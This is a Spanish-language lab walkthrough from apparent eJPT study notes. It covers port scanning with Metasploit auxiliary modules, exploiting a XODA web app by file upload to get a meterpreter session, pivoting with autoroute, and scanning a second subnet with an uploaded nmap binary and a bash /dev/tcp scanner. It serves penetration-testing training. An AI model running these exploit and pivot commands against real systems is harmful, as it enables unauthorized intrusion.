> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/recopilacion-y-enumeracion-de-informacion/enumeracion/escaneo-de-puertos-con-modulos-auxiliares.md).

# Escaneo de puertos con módulos auxiliares

🔧 Módulos Auxiliares

* Los **módulos auxiliares** se utilizan para llevar a cabo funcionalidades como **escaneo, descubrimiento y fuzzing**.
* Podemos utilizar estos módulos para realizar escaneos de puertos **TCP y UDP**, así como para **enumerar información** de servicios como **FTP, SSH, HTTP**, entre otros.
* Son útiles tanto durante la **fase de reconocimiento** de una prueba de penetración, como en la fase de **post-explotación**.
* También se pueden usar para **descubrir hosts** y realizar escaneos de puertos en **subredes diferentes**, después de haber obtenido acceso inicial a un sistema objetivo.

***

## 🧰 Infraestructura del Laboratorio

1. Nuestro objetivo inicial será **utilizar módulos auxiliares para descubrir puertos abiertos** en nuestro **primer objetivo**.
2. El siguiente paso consistirá en **explotar el servicio** que se esté ejecutando en el objetivo para obtener una **persistencia o punto de apoyo (foothold)**.
3. Una vez conseguido ese acceso, lo utilizaremos para **acceder a otros sistemas** en una **subred de red distinta** mediante **pivoting**.
4. Finalmente, usaremos los **módulos auxiliares nuevamente** para **escanear puertos abiertos** en el **segundo objetivo**.

***

## &#x20;🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/7hd6epvbW5dUppIYJXlH" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo1.ine.local
```

<figure><img src="/files/PAcfkPqsu6O3vTvHhzGW" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Escaneo de puertos con Nmap

Ahora podemos realizar un escaneo de puerto Nmap predeterminado en el destino para identificar los puertos abiertos en el sistema de destino, esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nmap demo1.ine.local
```

Como se muestra en la siguiente captura de pantalla, el escaneo predeterminado de Nmap revela el puerto 80 abierto.

<figure><img src="/files/qJ6M8JYI7D0znTi8kyuP" alt=""><figcaption></figcaption></figure>

**Paso 4:** Verifique el contenido HTTP alojado en el puerto 80 de la máquina de destino

**Dominio:**

```
curl demo1.ine.local
```

Como se menciona en el desafío, hay una instancia de aplicación web XODA ejecutándose en el sistema que puede explotarse utilizando el módulo Metasploit “exploit/unix/webapp/xoda\_file\_upload”.

<figure><img src="/files/3hYoRP5ftklP8CtgzJYs" alt=""><figcaption></figcaption></figure>

**Paso 5:** Iniciar msfconsole

**Dominio:**

```
msfconsole
```

<figure><img src="/files/EZORMWiifa8ekT7CpO3j" alt=""><figcaption></figcaption></figure>

**Paso 6:** Seleccione el módulo mencionado y configure los valores de los parámetros

**Dominio:**

```
use exploit/unix/webapp/xoda_file_upload
set RHOSTS demo1.ine.local
set TARGETURI /
set LHOST 192.63.4.2
exploit
```

<figure><img src="/files/RhWY5wVZaN1iZLyWfebq" alt=""><figcaption></figcaption></figure>

Se genera una sesión de meterpreter en la máquina de destino.

**Paso 7:** Inicie un shell de comandos e identifique el rango de direcciones IP de la segunda máquina de destino.

**Dominio:**

```
shell
ip addr
```

<figure><img src="/files/2yTAYTaDgZ56W2v68XQv" alt=""><figcaption></figcaption></figure>

La dirección IP de la primera máquina de destino en su interfaz eth1 es 192.180.108.2, la segunda máquina de destino estará ubicada en 192.180.108.3 en la segunda red.

**Paso 8:** agrega la ruta a la tabla de enrutamiento de Metasploit.

**Dominio:**

```
run autoroute -s 192.180.108.2
```

<figure><img src="/files/JaSp0WTHw1clZhLqlWzw" alt=""><figcaption></figcaption></figure>

**Paso 9:** Ponga en segundo plano la sesión actual de meterpreter y utilice el módulo portscan tcp de Metasploit para escanear la segunda máquina de destino.

Presione CTRL+z y Enter y para poner en segundo plano la sesión de meterpreter.

**Dominio:**

```
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.180.108.3
set verbose false
set ports 1-1000
exploit
```

<figure><img src="/files/jmI1TuotufjaKlySWyaa" alt=""><figcaption></figcaption></figure>

**Paso 10:** Verifique los binarios estáticos disponibles en el directorio "/usr/bin/".

**Dominio:**

```
ls -al /root/static-binaries/nmap
file /root/static-binaries/nmap
```

<figure><img src="/files/tv7EBBf1LUwaNNHpNj7w" alt=""><figcaption></figcaption></figure>

**Paso 11:** Ponga en segundo plano la sesión de Metasploit y cree un script de escaneo de puerto bash.

Presione CTRL+z para poner en segundo plano la sesión de Metasploit.

Usando el script proporcionado en \[<https://catonmat.net/tcp-port-scanner-in-bash>] como referencia, cree un script bash para escanear los primeros 1000 puertos

**Dominio:**

<pre><code><strong>#!/bin/bash
</strong>for port in {1..1000}; do
 timeout 1 bash -c "echo >/dev/tcp/$1/$port" 2>/dev/null &#x26;&#x26; echo "port $port is open"
done
</code></pre>

Guarde el script como bash-port-scanner.sh

<figure><img src="/files/TBSEQcQycERI3vslnlup" alt=""><figcaption></figcaption></figure>

**Paso 12:** Ponga en primer plano la sesión de Metasploit y cambie a la sesión de meterpreter.

Presione "fg" y presione enter para poner en primer plano la sesión de Metasploit.

**Dominio:**

```
sessions -i 1
```

<figure><img src="/files/uqmvYK2cggY1kUKHvUXw" alt=""><figcaption></figcaption></figure>

**Paso 13:** Cargue el binario estático nmap y el script del escáner de puerto bash en la máquina de destino.

**Dominio:**

```
upload /root/static-binaries/nmap /tmp/nmap
upload /root/bash-port-scanner.sh /tmp/bash-port-scanner.sh
```

<figure><img src="/files/6UvN71JA8n0t8K83QwZB" alt=""><figcaption></figcaption></figure>

**Paso 14:** Haga que el binario y el script sean ejecutables y use el script bash para escanear la segunda máquina de destino.

**Dominio:**

```
shell
cd /tmp/
chmod +x ./nmap ./bash-port-scanner.sh
./bash-port-scanner.sh 192.180.108.3
```

<figure><img src="/files/8wrjfiFSfotuUU0orzjv" alt=""><figcaption></figcaption></figure>

Hay tres puertos abiertos en la máquina de destino: los puertos 21, 22 y 80.

**Paso 15:** utilizando el binario nmap, escanee la máquina de destino en busca de puertos abiertos.

**Dominio:**

```
./nmap -p- 192.180.108.3
```

<figure><img src="/files/Vjea9jXQ9hikO4YKrDPu" alt=""><figcaption></figcaption></figure>

Los servicios que se ejecutan en la máquina de destino son FTP, SSH y HTTP.
